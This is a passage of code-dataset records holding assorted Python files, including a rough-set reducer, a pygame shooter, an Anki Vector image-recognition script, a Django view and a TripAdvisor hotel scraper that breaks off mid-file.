run()\n","sub_path":"17wanxiao.py","file_name":"17wanxiao.py","file_ext":"py","file_size_in_byte":9792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"329657589","text":"import numpy as np\nimport pandas as pd\nimport json\nimport time\nimport copy\n\n\nclass RoughSet:\n \"\"\"粗糙集\"\"\"\n\n # 二维表\n table: pd.DataFrame\n\n def __init__(self, csv_path: str) -> None:\n\n self.table = pd.read_csv(csv_path, encoding='utf-8')\n print(self.table)\n\n def Ind(self, B: list) -> dict:\n \"\"\"\n 求不可辩关系\n 输入:\n B: 列序号构成的list,以给定列序号划分等价类\n\n 返回数据格式:\n 左边是可能取值构成的list,右边是集合构成的list,左右下标相对应:\n ['好瓜', '坏瓜'], [{0, 1, 2, 3, 4, 5, 6, 7}, {8, 9, 10, 11, 12, 13, 14, 15, 16}]\n\n 算法:根据取值划分等价类\n \"\"\"\n\n df = self.table\n\n # 给定的多个属性构成的复合列\n columns = df.columns[B]\n\n # 决策属性的所有取值,可重复\n decision_attributes_values = df[columns].values\n\n # 决策属性的所有可能取值,去重\n decision_attributes_posible_values = []\n\n # 进行去重操作,此处无法用set,因为多维列表不能哈希\n for i in decision_attributes_values.tolist():\n if not i in decision_attributes_posible_values:\n decision_attributes_posible_values.append(i)\n\n # 商集\n Ind_B = []\n\n # 商集初始化\n for i in range(len(decision_attributes_posible_values)):\n Ind_B.append(set())\n\n # 遍历每一行,创建Ind(B)\n for row_order, decision_attribute_value in list(enumerate(decision_attributes_values)):\n # 找到决策属性对应的下标\n index: int = decision_attributes_posible_values.index(decision_attribute_value.tolist())\n\n # 再对应集合中添加行序号\n Ind_B[index].add(row_order)\n\n # return decision_attributes_posible_values, Ind_B\n return Ind_B\n\n def B_lower_approximation(self, B: list, X: set) -> set:\n \"\"\"\n 求下近似B(X)\n 传入:\n 条件属性B--列序号组成的list\n 决策属性X--一个由数据帧中行号构成的集合(一般是关于决策属性划分后的等价类)\n 返回:\n B(X)下近似--一个由数据帧中行号构成的集合\n\n 算法:遍历关于B划分后的所有等价类,若某个等价类完全包含于X,则把该等价类添加到结果中\n \"\"\"\n\n # B(X)\n B_X = set()\n\n # 获取B的等价类们\n equivalence_classes = self.Ind(B)\n\n # 遍历每一个等价类\n for equivalence_class in equivalence_classes:\n\n # 如果是X的子集\n if equivalence_class.issubset(X):\n # 取并集\n B_X = B_X | equivalence_class\n\n return B_X\n\n def test_B_lower_approximation(self) -> None:\n \"\"\"\n 测试下近似:作业题中B=a1,计算下近似:B(d1) B(d2) B(d3) B(d)\n B(d1)=∅\n B(d2)={x2,x7,x10}\n B(d3)={x5,x6,x8}\n B(d)=U\n \"\"\"\n Ind_d = self.Ind([-1])\n\n # 全集\n d = set()\n\n print(\"下近似测试:\")\n for i in Ind_d:\n d = d | i\n print(self.B_lower_approximation(B=[1], X=i))\n\n print(self.B_lower_approximation(B=[1], X=d))\n\n def POS(self, C: list, D: list) -> set:\n \"\"\"\n positive domain\n 传入条件属性C和决策属性D,求正域POSc(D)\n 传入:\n C:condition attribute 条件属性的列序号组成的list\n D:decision attribute 决策属性的列序号组成的list\n \n 算法:遍历关于决策属性D划分的等价类Yi,加入条件属性C关于该等价类的下近似B(Yi),其中B为条件属性C\n \"\"\"\n\n POS_C_D = set()\n\n # 获得关于D划分的等价类\n Ind_D = self.Ind(D)\n\n # 遍历关于决策属性D划分的等价类Yi\n # 加入条件属性C关于该等价类的下近似B(Yi)\n # 其中B为条件属性C\n for Yi in Ind_D:\n POS_C_D = POS_C_D | self.B_lower_approximation(B=C, X=Yi)\n\n return POS_C_D\n\n def test_POS(self) -> None:\n \"\"\"\n 正域测试,作业中的习题\n POSa1(d)={x2,x5,x6,x7,x8,x10}\n POSa2(d)={x2,x4,x7,x10}\n POSa3(d)={x2,x5,x6,x7,x8,x10}\n \"\"\"\n print(\"正域测试:\")\n print(self.POS([1], 4))\n print(self.POS([2], 4))\n print(self.POS([3], 4))\n\n def Redundancy(self, C: list, D: list) -> list:\n \"\"\"\n 计算条件属性C的冗余\n 传入:\n C:条件属性构成的list\n D:决策属性构成的list\n 返回:\n ��件属性的冗余,若无冗余返回空\n\n 算法:遍历C的每一个元素,尝试将其去掉,检查正域是否发生变化\n \"\"\"\n\n # 一个属性,不用算了\n if len(C) == 1:\n return []\n\n # 冗余属性\n redundancy_attribute = []\n\n for element in C:\n\n C_copy = copy.deepcopy(C)\n C_copy.remove(element)\n\n # 判断是否为冗余\n if len(self.POS(C_copy, D)) == len(self.POS(C, D)):\n redundancy_attribute.append(element)\n\n return redundancy_attribute\n\n def Core(self, C: list, D: list) -> list:\n \"\"\"\n 计算条件属性C的核属性\n 传入:\n C:条件属性构成的list\n D:决策属性构成的list\n 返回:\n 条件属性的核属性,若无核返回空\n\n 算法:遍历C的每一个元素,尝试将其去掉,检查正域是否发生变化\n \"\"\"\n\n # 一个属性,不用算了\n if len(C) == 1:\n return C\n\n # 核属性\n Core_C = []\n\n for element in C:\n\n C_copy = copy.deepcopy(C)\n C_copy.remove(element)\n\n # 判断是否为核\n if len(self.POS(C_copy, D)) != len(self.POS(C, D)):\n Core_C.append(element)\n\n return Core_C\n\n def test_Core(self) -> None:\n \"\"\"\n 维度约简测试,作业中的题:\n Core({a1,a2,a3}) = a2\n \"\"\"\n print(\"核属性:\", self.Core([1, 2, 3], -1))\n\n def Red(self, C: list, D: list) -> list:\n \"\"\"\n 计算条件属性C的一个约简\n 传入:\n C:条件属性构成的list\n D:决策属性构成的list\n 返回:\n 条件属性的约简,若无约简返回本身\n\n 算法:遍历C的每一个元素,尝试将其去掉,检查正域是否发生变化,不变则可约简\n \"\"\"\n\n # 一个属性,不用算了\n if len(C) == 1:\n return C\n\n has_reduction = False\n\n # 约简\n Red_C = copy.deepcopy(C)\n\n while (True):\n\n for element in list(Red_C):\n\n # Red_C_copy = copy.deepcopy(Red_C)\n # Red_C_copy.remove(element)\n\n old_POS_length = len(self.POS(Red_C, D))\n\n Red_C.remove(element)\n new_POS_length = len(self.POS(Red_C, D))\n\n # 判断是否存在冗余\n if old_POS_length == new_POS_length:\n has_reduction = True\n break\n else:\n Red_C.append(element)\n\n # 如果进行了约简,则再次循环继续寻找进一步的约简\n if has_reduction:\n has_reduction = False\n continue\n\n # 如果无冗余,即无法继续约简,则退出\n else:\n break\n\n return Red_C\n\n def test_Red(self) -> None:\n \"\"\"\n 维度约简测试,作业中的题:\n Red({a1,a2,a3}) = {a1, a2} 或 {a2, a3}\n \"\"\"\n print(\"约简:\", self.Red([1, 2, 3], -1))\n\n def auto_reduction(self) -> list:\n \"\"\"\n 自动对条件属性进行约简操作,返回约简后的列表\n \"\"\"\n\n df = self.table\n\n # 最后一列为决策属性,其他全部是条件属性\n result = self.Red(list(range(len(df.columns) - 1)), [-1])\n\n print(\"\\n该粗糙集所有条件属性的一个约简为:\\n\", result)\n\n print(\"\\n对应的关键词为:\")\n for i in df.columns[result]:\n print(i, end=' ')\n\n print('\\n')\n return result\n\n\nif __name__ == \"__main__\":\n\n # csv_path = \"watermelon.csv\"\n # csv_path = \"作业题.csv\"\n # csv_path = \"gwt.csv\"\n # csv_path = \"3_2020年新数据.data_and_target\"\n\n # 上一步:对文件进行切割\n\n start_time = time.time()\n\n # 最终结果\n outcome = set()\n\n for i in range(26):\n\n print(\"处理第%d个数据集\" % (i + 1))\n\n csv_path = '3_分割数据\\\\%d_分割数据.data' % (i + 1)\n\n a = RoughSet(csv_path)\n reduction_list = a.auto_reduction()\n\n print(reduction_list)\n for j in reduction_list:\n # 从0开始的数据,+1才符合\n outcome.add(j + 1)\n\n j = json.dumps(list(outcome))\n\n end_time = time.time()\n print(\"\\n耗时:\", end_time - start_time, \"秒\")\n\n print('\\n\\n最终结果:', j)\n\n with open('3_分割数据\\\\最终结果.json', 'a+') as f:\n f.write(j)\n","sub_path":"2_粗糙集/3_针对切割文件的粗糙集.py","file_name":"3_针对切割文件的粗糙集.py","file_ext":"py","file_size_in_byte":9371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"77608814","text":"'''\nWrite a Program that accepts an integer from user and print Sum of\nall number up to entered number .\nInput: 10\nOutput: The s um number up to 10 : 55\n'''\n\nn=int(input(\"Input:\"))\nfor i in range(1,n):\n\tn=n+i\nprint(n)\n","sub_path":"Python/DailyFlash/20jan2020/MySolutions/program2.py","file_name":"program2.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"407228042","text":"import math\nimport random\n#Jogo de roleta\ndinheiro=100\nprint(dinheiro)\nvalor=int(input('Quanto você deseja apostar? '))\nwhile dinheiro>0 and valor>0:\n opcao=str(input('Digite a opção de aposta que deseja realizar: '))\n#Opção número:\n if opcao=='n':\n numero_escolhido=int(input('Em qual número você deseja apostar? '))\n numero_sorteado=random.randint(0,36)\n if numero_escolhido==numero_sorteado:\n dinheiro+=valor*35\n print('Parabéns, você acertou!')\n print('Você possui agora {0}.'.format(dinheiro))\n else:\n dinheiro-=valor\n print('Você perdeu.')\n print('Você possui agora {0}.'.format(dinheiro))\n#Opção par ou ímpar: \n if opcao=='p':\n par_impar=str(input('Você escolhe par(p) ou ímpar(i)? '))\n if par_impar=='p':\n numero_sorteado=random.randint(0,36)\n if numero_sorteado%2==0:\n dinheiro+=valor\n print('Parabéns, você acertou!')\n print('Você possui agora {0}.'.format(dinheiro))\n else:\n dinheiro-=valor\n print('Você perdeu.')\n print('Você possui agora {0}.'.format(dinheiro))\n if par_impar=='i':\n numero_sorteado=random.randint(0,36)\n if numero_sorteado%2!=0:\n dinheiro+=valor\n print('Parabéns, você acertou!')\n print('Você possui agora {0}.'.format(dinheiro))\n else:\n dinheiro-=valor\n print('Você perdeu.')\n print('Você possui agora {0}.'.format(dinheiro))\n","sub_path":"backup/user_372/ch120_2020_04_13_04_48_14_079075.py","file_name":"ch120_2020_04_13_04_48_14_079075.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"169888346","text":"class BaseBuilder(object):\n available_commands = []\n available_values = []\n\n def __init__(self, **kwargs):\n self.kwargs = kwargs\n self._check_attributes()\n\n def _check_attributes(self):\n if self.available_commands.__len__():\n for key, value in self.kwargs.items():\n if key not in self.available_commands:\n raise AttributeError(\n '`%s` attribute is invalid for %s. Available commands:'\n ' %s' % (\n key, self.__class__.__name__,\n self.available_commands.__str__()\n )\n )\n\n if self.available_values.__len__():\n if key in self.available_values and \\\n value not in self.available_values[key]:\n raise AttributeError(\n '`%s` value is invalid. Available values: %s' % (\n value, self.available_values[key].__str__()\n )\n )\n\n\nclass BaseIniBuilder(BaseBuilder):\n def __init__(self, section, **kwargs):\n super(BaseIniBuilder, self).__init__(**kwargs)\n self.section = section\n\n def __str__(self):\n output = []\n if self.section is not None:\n output.append('[%s]' % self.section)\n for key, value in self.kwargs.items():\n output.append('%s = %s' % (key, value))\n return \"\\n\".join(sorted(output)) + \"\\n\"\n\n\nclass BaseYmlBuilder(BaseBuilder):\n def __str__(self):\n import yaml\n return yaml.dump(self.kwargs, default_flow_style=False)\n","sub_path":"configbuilder/builder/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"569883631","text":"import logging\n\nlog = logging.getLogger(__name__)\n\n\nclass NoteMapper(object):\n note_names = [\"C\", \"C#\", \"D\", \"D#\", \"E\", \"F\", \"F#\", \"G\", \"G#\", \"A\", \"Bb\", \"B\"]\n\n def __init__(self):\n self._frequencies = []\n self._note_to_midi = {}\n\n def note_to_midi(self, note):\n \"\"\"\n >>> nm = NoteMapper()\n\n High and low boundaries\n\n >>> nm.note_to_midi(\"C0\")\n 0\n >>> nm.note_to_midi(\"G10\")\n 127\n\n Octave cross over\n\n >>> nm.note_to_midi(\"B3\")\n 47\n >>> nm.note_to_midi(\"C4\")\n 48\n \"\"\"\n if not self._note_to_midi:\n for n in range(0, 128):\n key = self.note_names[n % len(self.note_names)]\n octave = (n / len(self.note_names))\n self._note_to_midi[key + str(octave)] = n\n return self._note_to_midi[note]\n\n def frequency_to_note(self, target):\n \"\"\"\n 440Hz = A4 --> http://www.phys.unsw.edu.au/jw/graphics/notes.GIF\n\n >>> nm = NoteMapper()\n\n Lower and upper bounds\n\n >>> nm.frequency_to_note(32)\n 'C0'\n >>> nm.frequency_to_note(440)\n 'A3'\n >>> nm.frequency_to_note(12543.9)\n 'G8'\n\n Octave boundary\n\n >>> nm.frequency_to_note(246.94)\n 'B2'\n >>> nm.frequency_to_note(261.63)\n 'C3'\n\n Non-exact matches\n >>> nm.frequency_to_note(870)\n 'A4'\n >>> nm.frequency_to_note(890)\n 'A4'\n \"\"\"\n if not target:\n return \"none\"\n\n if not self._frequencies:\n a = 440.0\n for octave in range(0, 10):\n for note in range(0, 12):\n i = (octave - 4) * 12 + note\n self._frequencies.append(a * 2 ** (i/12.0))\n\n # the above generates a frequency table from A0 to A10,\n # but midi goes from C0 onwards, so cut A, A#, and B\n self._frequencies = self._frequencies[3:]\n\n min_distance = 999999\n best_idx = 0\n\n for n, frequency in enumerate(self._frequencies):\n distance = abs(frequency - target)\n if distance < min_distance:\n min_distance = distance\n best_idx = n\n\n octave = best_idx / 12\n note = best_idx % 12\n return self.note_names[note] + str(octave)\n","sub_path":"mic2midi/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"366276956","text":"\"\"\"\nOverall class to manage game assets and behaviour.\n\"\"\"\n\nimport sys\n\nimport pygame\n\nfrom settings import Settings\nfrom ship import Ship\nfrom bullet import Bullet\n\nclass AlienInvasion:\n \"\"\"Overall class to manage game assets and behaviour.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize the game, and create game resources.\"\"\"\n pygame.init()\n # make an instance of settings and use it to access them\n self.settings = Settings()\n #run the game in full screen mode: this tells to pygame to figure out\n #a window size that will fill the screen\n self.screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\n #a surface is a part of the screen where a game element is displayed\n #each element in the game, like an alien or ship, is its own surface\n self.settings.screen_width = self.screen.get_rect().width\n self.settings.screen_height = self.screen.get_rect().height\n '''\n #set a specific window size for running the game\n self.screen = pygame.display.set_mode(\n (self.settings.screen_width, self.settings.screen_height))\n '''\n pygame.display.set_caption(\"Alien Invasion\")\n # Set the background color\n self.bg_color = self.settings.bg_color\n #create a ship instance\n self.ship = Ship(self)\n #group to store all the live bullets, like a list with some extra funct\n self.bullets = pygame.sprite.Group()\n\n def run_game(self):\n \"\"\"Start the main loop for the game.\"\"\"\n while True:\n #calling a method from within a class using dot notation\n self._check_events() #check for player input\n self.ship.update() #update the position of the ship\n self._update_bullets() #update the position of the bullets\n self._update_screen() #use the new positions to draw a new screen\n\n def _check_events(self):\n \"\"\"Respond to keypresses and mouse events.\"\"\"\n #each keypress is registered as a KEYDOWN event\n #when the key is released it's a KEYUP event\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n self._check_keydown_events(event)\n elif event.type == pygame.KEYUP:\n self._check_keyup_events(event)\n \n def _check_keydown_events(self, event):\n \"\"\"Respond to keypresses.\"\"\"\n if event.key == pygame.K_RIGHT:\n # Move the ship to the right\n self.ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n self.ship.moving_left = True\n #end the game when the player presses Q\n elif event.key == pygame.K_q:\n sys.exit()\n #a bullet is fired when the space bar is pressed\n elif event.key == pygame.K_SPACE:\n self._fire_bullet()\n\n def _check_keyup_events(self, event):\n \"\"\"Respond to key releases.\"\"\"\n if event.key == pygame.K_RIGHT:\n self.ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n self.ship.moving_left = False\n\n def _fire_bullet(self):\n \"\"\"Create a new bullet and add it to the bullets group.\"\"\"\n if len(self.bullets) < self.settings.bullet_allowed:\n new_bullet = Bullet(self)\n self.bullets.add(new_bullet) #add() method is similar to append()\n\n def _update_bullets(self):\n \"\"\"Update position of bullets and get rid of old bullets.\"\"\"\n # Update bullet positions\n #when calling update on a group, the group calls update() for each\n #sprite (bullet) in the group\n self.bullets.update()\n # Deleting old bullets (the ones that have dissapeared)\n #we use a copy of the list because we cannot remove items in a loop\n for bullet in self.bullets.copy():\n #check if the bullet has reached the top of the screen\n if bullet.rect.bottom <= 0:\n self.bullets.remove(bullet)\n\n def _update_screen(self):\n \"\"\"Update images in the screen, and flip to the new screen.\"\"\"\n # Redraw the screen during each pass through the loop\n self.screen.fill(self.bg_color)\n #we draw the ship on the screen by calling blitme() method\n self.ship.blitme()\n #bullets.sprites() returns a list of all sprites in the group bullets\n for bullet in self.bullets.sprites():\n #we draw all fired bullets to the screen\n bullet.draw_bullet()\n # Make the most recently drawn screen visible.\n #it updates the display constantly after moving game elements\n pygame.display.flip()\n\nif __name__ == '__main__':\n # Make a game instance, and run the game.\n ai = AlienInvasion()\n ai.run_game()\n","sub_path":"alien_invasion.py","file_name":"alien_invasion.py","file_ext":"py","file_size_in_byte":4836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"648610983","text":"#!/usr/bin/env python3\n\n\"\"\"\nThis script uses Anki Vector's camera to take a photo and perform\nimage recognition with Keras built in ResNet50 neural network and\nthe Image-Net database.\n\"\"\"\n\nimport os\nimport random\nimport sys\nimport time\n\nimport anki_vector\n\nfrom keras.applications import resnet50\nfrom keras.preprocessing import image\n\nimport numpy as np\n\ntry:\n from PIL import Image\nexcept ImportError:\n sys.exit('Cannot import from PIL: Do `pip3 install '\n '--user Pillow` to install')\n\n\n# Load the ResNet50 model from Keras\nresnet_model = resnet50.ResNet50(weights='imagenet')\n\n# setup robot object\nrobot = anki_vector.Robot(anki_vector.util.parse_command_args().\n serial, enable_camera_feed=True)\nscreen_dimensions = anki_vector.screen.SCREEN_WIDTH, anki_vector.screen.SCREEN_HEIGHT\n# define the path where this script it\ncurrent_directory = os.path.dirname(os.path.realpath(__file__))\n# check for resources folder and creat it if necessary\nimage_path = os.path.join(current_directory, 'resources')\nif not os.path.exists(image_path):\n os.makedirs(image_path)\n# path to find the image later\nimage_file = os.path.join(current_directory, 'resources', \"latest.jpg\")\n\n\ndef format_picture(image_file):\n '''\n ResNet50 takes images of 224x224 pixels. By using parameters\n 'target_size=(224, 224)' the wide angle image on Vector is\n squished making the image recognition more difficult, this\n changes the image into the appropriate size ahead of time\n by cropping to the center of the image.\n '''\n print('formatting picture')\n im = Image.open(image_file)\n width, height = im.size # Get dimensions\n\n left = (width - 224)/2\n top = (height - 224)/2\n right = (width + 224)/2\n bottom = (height + 224)/2\n\n im = im.crop((left, top, right, bottom))\n im.save(image_file)\n\n\ndef detect_labels(path):\n '''\n The image recogition function using Keras and Image-Net.\n '''\n # resnet_model = resnet50.ResNet50(weights='imagenet')\n print('Detect labels, image = {}'.format(path))\n\n # Load Keras' ResNet50 model that was pre-trained\n # against the ImageNet database\n model = resnet50.ResNet50()\n\n # Load the image file, resizing it to 224x224\n # pixels (required by this model)\n img = image.load_img(path)\n\n # Convert the image to a numpy array\n x = image.img_to_array(img)\n\n # Add a forth dimension since Keras expects a list of images\n x = np.expand_dims(x, axis=0)\n\n # Scale the input image to the range used in the trained network\n x = resnet50.preprocess_input(x)\n\n # Run the image through the deep neural network to make a prediction\n predictions = model.predict(x)\n\n # Look up the names of the predicted classes. Index zero\n # is the results for the first image.\n predicted_classes = resnet50.decode_predictions(predictions, top=3)\n\n robot_say(\"My top three guesses are\")\n\n for imagenet_id, name, likelihood in predicted_classes[0]:\n # robot_say(\"{}: {:2f} likelihood\".format(name, likelihood))\n robot_say(\"{}\".format(name))\n time.sleep(1)\n\n\ndef connect_robot():\n print('Connect to Vector...')\n robot.connect()\n\n\ndef disconnect_robot():\n robot.disconnect()\n print('Vector disconnected')\n\n\ndef stand_by():\n # If necessary, move Vector's Head and Lift to make it easy to see his face\n robot.behavior.set_lift_height(0.0)\n robot.behavior.set_head_angle(anki_vector.util.degrees(6.0))\n\n\ndef show_camera():\n print('Show camera')\n robot.camera.init_camera_feed()\n robot.vision.enable_display_camera_feed_on_face(True)\n\n\ndef close_camera():\n print('Close camera')\n robot.vision.enable_display_camera_feed_on_face(False)\n robot.camera.close_camera_feed()\n\n\ndef save_image(file_name):\n print('Save image')\n robot.camera.latest_image.save(file_name, 'JPEG')\n\n\ndef show_image(file_name):\n print('Show image = {}'.format(file_name))\n\n # Load an image\n image = Image.open(file_name)\n\n # Convert the image to the format used by the Screen\n print(\"Display image on Vector's face...\")\n screen_data = anki_vector.screen.convert_image_to_screen_data(\n image.resize(screen_dimensions))\n robot.screen.set_screen_with_image_data(screen_data, 5.0, True)\n\n\ndef robot_say(text):\n print('Say {}'.format(text))\n robot.say_text(text)\n\n\ndef analyze():\n stand_by()\n show_camera()\n robot_say('What is that...?')\n time.sleep(1)\n\n show_image(image_file)\n time.sleep(1)\n\n save_image(image_file)\n time.sleep(1)\n\n format_picture(image_file)\n\n robot_say('Hang on, let me think about this for a minute.')\n detect_labels(image_file)\n time.sleep(1)\n\n show_image(image_file)\n time.sleep(1)\n\n robot_say('Then again, I\\'m not too smart.')\n\n close_camera()\n\n robot_say('Goodbye!')\n\n\ndef main():\n while True:\n connect_robot()\n try:\n analyze()\n except Exception as e:\n print('Analyze Exception: {}', e)\n\n disconnect_robot()\n time.sleep(random.randint(30, 60 * 5))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"anki_keras_v2.py","file_name":"anki_keras_v2.py","file_ext":"py","file_size_in_byte":5145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"112213148","text":"import nltk\nimport random\nimport pickle\n\nprint(\"Load test data...\")\nf = open('trainData/trainData.csv','r')\ndocuments = []\nall_words = []\nfor line in f:\n splitted = line.split(\";\")\n splittedWords = splitted[0].replace(\"?\",\"\").replace(\"!\",\"\").replace(\",\",\"\").replace(\".\",\"\").lower().split(\" \")\n category = 0\n try:\n category = int(splitted[1].rsplit()[0])\n except:\n category = 0\n\n for word in splittedWords:\n if word != \"\":\n all_words.append(word)\n formattedline = (splittedWords,category)\n documents.append(formattedline)\n\n\nrandom.shuffle(documents)\nall_words = nltk.FreqDist(all_words)\nword_features = list(all_words.keys())\n\ndef find_features(document):\n words = set(document)\n features = {}\n for w in word_features:\n features[w] = (w in words)\n\n return features\n\n\nfeatureSet = [(find_features(rev),category) for (rev, category) in documents]\ntest_set = featureSet\n\n\nprint(\"Results...\")\n#Load the baseline classifier\nClassBaselineF = open(\"bayesBaseline.pickle\",'rb')\nclassifierBaseline = pickle.load(ClassBaselineF)\nprint(\"Result (Baseline): \")\nprint(\"Accuracy: \", round((nltk.classify.accuracy(classifierBaseline,test_set))*100,2))\nclassifierBaseline.show_most_informative_features(10)\n\n#Load the Article based classifier\n#ClassArticleF = open(\"bayesArticle3.pickle\",'rb')\n#classifierArticle = pickle.load(ClassArticleF)\n#print(\"Result (Article): \")\n#print(\"Accuracy: \", round((nltk.classify.accuracy(classifierArticle,test_set))*100,2))\n#classifierArticle.show_most_informative_features(10)","sub_path":"software/2_bayes/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"611340360","text":"from torch.utils.data import Dataset\nfrom transformers import BertTokenizer\nimport torch\n\nfrom os import listdir\nfrom os.path import isfile, join\nimport xml.etree.ElementTree as ET\nimport logging\nimport json\n\n\nclass PatentDataset(Dataset):\n logger = logging.getLogger(__name__)\n\n def __init__(self,\n file_path: str = './data/patent/',\n tokenizer: str = 'bert-base-cased',\n split: str = 'Train'):\n super().__init__()\n self.file_path = file_path\n assert split in {'Train', 'Validation', 'Test'}\n self.x = []\n self.y = []\n\n with open(file_path+'USPTO-labels.json', 'r') as in_file:\n tag_map = json.loads(in_file.read())\n\n try:\n if split == 'Train':\n file_name = 'USPTO-train.json'\n elif split == 'Validation':\n file_name = 'USPTO-validation.json'\n elif split == 'Test':\n file_name = 'USPTO-test.json'\n\n with open(file_path+file_name, 'r') as in_file:\n for line in in_file:\n cur = json.loads(line)\n self.x.append(cur['Title']+' '+cur['Abstract'])\n targets = []\n for sub in cur['Subclass_labels']:\n label_index = tag_map[sub]\n targets.append(label_index)\n self.y.append(targets)\n self.num_labels = len(tag_map)\n\n except FileNotFoundError:\n logging.error(\n f'### Failed to find data file: {self.file_path}X.txt')\n raise FileNotFoundError\n\n try:\n assert len(self.x) == len(self.y)\n except AssertionError:\n print(len(self.x), len(self.y))\n raise AssertionError\n\n def __len__(self):\n return len(self.x)\n\n def __getitem__(self, idx):\n sample = {}\n sample['text'] = self.x[idx]\n sample['label'] = torch.zeros(self.num_labels)\n for lab in self.y[idx]:\n sample['label'][lab] = 1\n sample['raw_label'] = torch.LongTensor(self.y[idx])\n return sample\n\n def __iter__(self):\n return iter(range(self.__len__()))\n","sub_path":"DocumentModel/PatentDataset.py","file_name":"PatentDataset.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"263413256","text":"\ndef tplot_varcreate(startdate,enddate):\n\timport pydivide\n\timport pytplot\n\t#pydivide.download_files(start_date = startdate,end_date = enddate)\n\tinsitu = pydivide.read(startdate,enddate)\n\tprint(insitu)\n\tprint(insitu[\"EUV\"])\n\tinst_list = [\"EUV\",\"LPW\",\"STATIC\",\"SWEA\",\"SWIA\",\"MAG\",\"SEP\",\"NGIMS\"]\n\tfor instrument in inst_list:\n\t\tfor obs in insitu[instrument]:\n\t\t\tobs_specific = \"mvn_kp::\"+obs\n\t\t\tpytplot.store_data(obs_specific,data={'x':insitu['Time'], 'y': insitu[instrument][obs]})\n\t\t\tprint(instrument)\n\t\t\tprint(obs)\ntplot_varcreate(\"2016-06-06\",\"2016-06-07\")","sub_path":"pytplot/tplot_varcreate.py","file_name":"tplot_varcreate.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"353742376","text":"# -*- coding:utf-8 -*-\n# Create your views here.\nfrom django.shortcuts import get_object_or_404, render_to_response\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom django.template import loader, Template, Context,RequestContext\nfrom django.conf import settings\nfrom django.contrib.auth.models import User, check_password\nfrom showcase.models import Item, ItemType\nfrom lib.myqs import MyQS\n\t\t\n\ndef item(request,item_id):\n\ti = Item.objects.get(pk=item_id)\n\treturn render_to_response('showcase/item.html', {'item_id' : item_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'item': i})\n\ndef search(request,str):\n return HttpResponse('1\\tElement 1\\n2\\tElement 2\\n3\\tElement 3\\n')\n\t\ndef index(request,page_id=1,type=None):\n on_page = int(3)\n page_id = int(1 if not page_id else page_id)\n\n type = (None if type == 'all' else type)\n cur_type = ('all' if type == None else type)\n user = request.user\n \n # показываем каким файлом пользуемся\n print (\"DBFile=%s\" % settings.DATABASES['default']['NAME'])\n\n # список товаров\n items = ''\n start = (page_id-1)*on_page\n finish = page_id*on_page+1\n if type:\n \titems = Item.objects.filter(type__url_name=type).order_by('id')[start:finish]\n else:\n \titems = Item.objects.all().order_by('id')[start:finish] \n mqs = MyQS(items,on_page,page_id)\n\n # список типов товаров\n types = ItemType.objects.all().order_by('id')\n \t\n return render_to_response('showcase/index.html', {'page_id' : page_id,\n \t\t\t\t\t\t\t\t\t\t\t\t\t'user' : user,\n \t\t\t\t\t\t\t\t\t\t\t\t\t'next_page' : mqs.get_next_page(),\n \t\t\t\t\t\t\t\t\t\t\t\t\t'prev_page' : mqs.get_prev_page(),\n \t\t\t\t\t\t\t\t\t\t\t\t\t'cur_type' : cur_type,\n \t\t\t\t\t\t\t\t\t\t\t\t\t'types' : types,\n \t\t\t\t\t\t\t\t\t\t\t\t\t'items' : mqs.get()})\t\t\n \t\t\t\t\t\t\t\t\t\t\t\t\t\n","sub_path":"showcase/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"379497488","text":"from bs4 import BeautifulSoup\nimport requests\nimport xlsxwriter\n\nclass Hotel:\n\n def __init__(self, name, link):\n self.name = name\n self.link = link\n self.overallRating = 0\n self.reviews = []\n self.ratings = []\n\n def addData(self, overall, reviewList, ratingList):\n self.overallRating = overall\n self.reviews = reviewList\n self.ratings = ratingList\n \n# Return a list of hotels from the url provided \ndef getHotels(url):\n html_text = requests.get(url).content\n soup = BeautifulSoup(html_text, 'lxml')\n\n # List of hotels\n hotels = []\n\n # For all hotels\n cards = soup.find_all('div', class_ = 'prw_rup prw_meta_hsx_responsive_listing ui_section listItem')\n # To store name and link of hotel in Hotel object\n for card in cards:\n if(card == cards[20]):\n break\n try:\n hotelObj = []\n hotelObj = card.select('h2', class_ = 'property_title prominent')\n # if-else as the website code was different for some cities\n if(len(hotelObj) == 0):\n hotelObj = card.find('div', class_ = 'listing_title')\n hotelName = hotelObj.text.strip()\n hotelLink = 'https://www.tripadvisor.in' + hotelObj.a['href'] + '#REVIEWS'\n else:\n hotelName = hotelObj[0].text.strip()\n hotelLink = 'https://www.tripadvisor.in' + hotelObj[0].a['href'] + '#REVIEWS'\n hotel = Hotel(name = hotelName, link = 